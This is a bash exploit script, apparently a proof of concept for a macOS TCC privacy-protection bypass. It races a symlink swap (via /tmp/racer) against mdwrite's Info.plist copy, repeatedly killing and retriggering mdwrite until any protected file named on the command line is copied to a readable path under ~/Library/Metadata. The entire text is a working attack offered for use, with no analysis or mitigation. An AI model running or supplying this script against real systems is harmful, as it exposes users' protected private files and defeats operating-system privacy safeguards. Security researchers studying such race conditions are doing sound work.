#!/bin/bash
# Usage: ./exploit.sh /path/to/any-tcc-protected-file
SRC="${HOME}/Library/Mobile Documents.tmp/com~apple~system~spotlight/mdlabels/kind.mdlabels/Contents/Info.plist"
DST="${HOME}/Library/Metadata/kind.mdlabels/Contents/Info.plist"

/tmp/racer "$SRC" "$1" &
while true; do
    echo "triggering the copyfile in mdwrite..." # copy the "Info.plist" from $SRC to $DST
    /tmp/trigger
    
    if [ -L "$DST" ]; then
        echo "$DST is a symlink"
    else
        if [ -f "$DST" ]; then # if dst is a regular file, check the file size
            size=$(wc -c < "$DST" 2>/dev/null)
            if [ "$size" -ne 1 ]; then # success if dst's size is not equal to src's size
                echo "success, we got the target at $DST!"
                break
            else
                echo "$DST is the content of src, not the target"
            fi
        else
            echo "$DST does not exist"
        fi
    fi
    
    echo "retry..."
    rm "$DST" 2>/dev/null
    pkill -9 mdwrite # restart mdwrite service and trigger the copy again
    sleep 0.1
done
